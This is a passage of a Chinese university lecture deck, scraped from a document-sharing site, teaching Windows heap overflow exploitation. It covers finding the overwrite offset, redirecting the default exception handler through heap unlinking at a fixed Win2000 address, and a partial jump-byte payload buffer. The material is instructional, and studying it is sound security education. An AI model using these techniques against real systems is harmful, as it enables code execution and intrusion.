- 1、本文档共37页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
吴少华
电子信息学院;1.堆溢出初探;1. 堆溢出初探;在Windows下,用户要求分配堆时,可以通过一系列函数来完成。可以使用Win32的堆调用API函数,或者C/C++运行期库的函数等。;2 RtlAllcoateHeap的失误;2.1 有堆溢出问题的程序;在mybuf数组很小的时候,程序没有任何问题,我们稍微改变下程序,只是加长mybuf的长度,变为240个A,重新生成RELEASE版的程序,在命令行下运行它。;定位溢出点
for(i=0; i240; i++)
{
mybuf[i] = 100 + i % 10;
};计算溢出点
(0x79-0x64)×10+(0x66-0x64)=21×10+2=212
验证一下,指定mybuf第212开始的四个字节是‘BBBB’,其余全部为‘A’。如果我们的计算正确,那么应该是0x42(B的十六进制)覆盖到溢出点。
for(i=0; i240; i++)
{
mybuf[i] = A;
}
mybuf[212] = B;
mybuf[213] = B;
mybuf[214] = B;
mybuf[215] = B;
;堆溢出的shellcode有如下特殊要求:
(1)如果溢出的是默认堆,则不能使用网络相关的函数,比如开端口、反连等ShellCode都不能使用;
(2)可以想办法在ShellCode中恢复默认堆,然后再使用网络相关ShellCode,但有时恢复堆后仍不能用网络编程的函数;
(3)新建一个堆,不用默认堆;
(4)干脆就不用网络相关的ShellCode,只用添加用户一类的ShellCode。
编写一个打开DOS窗口的SHELLCODE
;2.4 跳转到ShellCode;溢出后的结构如下图所示;出错时程序就会终止,如果还要执行下一操作 mov [eax+4], ecx ,就等于 mov [AAAA+4],BBBB ,即 mov [0,0了,就是把0入到0地址中,通常也是会出错的。;2.5 覆盖默认异常处理;但是这里的where需要是一个确切的地址值,fs:[0]对于单线程是比较固定的,但对于多线程却是不定的。
fs:[0]地址会变,但系统的默认异常处理函数却不会变!我们就使用它。
默认异常处理
当链表中所有的异常处理函数都无法处理异常时,系统就会使用默认异常处理指针来处理异常情况。
默认异常处理指针通过如下函数来设置:
SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)
默认异常处理指针通过如下函数来调用:
LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);
它负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错时显示错误对话框的原因。;用IDA打开kernel32分析,在Functions中选中‘SetUnhandledExceptionFilter’就会跳到如下图的代码。意思是把异常处理程序地址放入0x77EB63B4中,即Win2000 SP3默认异常的处理指针是0x77EC044c。;注意,这里有个小问题, mov[ecx],eax 后,跟着还有一句 mov [eax+4], ecx ,这样不但把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,把Shellcode中的指令破坏了。
要解决这个问题,我们可以用 JMP 6 这样的指令来代替nop,这样就能跳过后面被破坏的字节。
程序中先是208字节覆盖掉‘buf1’的空间和空堆的管理结构;
然后是4字节ShellCode的地址,最后是4字节异常处理地址。如下图。 ;char mybuf[240] =
\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\
您可能关注的文档
- 3远洋巨舰搜神奇.ppt
- 3月13号桦茂团结主题班会.ppt
- 3月22日高恳会宣导.ppt
- 3植物妈妈有办法刘正勉.ppt
- 3专利侵权判定2014.7陕西.ppt
- 3-综合探究-《坚持唯物辩证法反对形而上学》(桂林十九中常凌).ppt
- 3走遍天下书为侣(我的).ppt
- 3走遍天下书为侣1.ppt
- 3组:“柒味云食品专营店”网络推广策划案.doc
- 004《孙子兵法》导读·形篇.ppt
- 四川省德阳市罗江中学2025届高三考前热身化学试卷含解析.doc
- 山东省枣庄现代实验学校2025届高三下学期第五次调研考试化学试题含解析.doc
- 吉林省长春市十一高中等九校教育联盟2025届高三一诊考试生物试卷含解析.doc
- 2025届江苏省盐城市伍佑中学高考仿真模拟化学试卷含解析.doc
- 2025届广西贺州中学高考冲刺押题(最后一卷)生物试卷含解析.doc
- 安徽省池州市贵池区2025届高三第一次模拟考试生物试卷含解析.doc
- 宁夏银川一中2025届高三(最后冲刺)化学试卷含解析.doc
- 广东省广州市增城区四校联考2025届高考压轴卷化学试卷含解析.doc
- 2025届邯郸市第一中学高考生物必刷试卷含解析.doc
- 2025届安徽省安庆市石化第一中学高考仿真卷化学试卷含解析.doc
文档评论(0)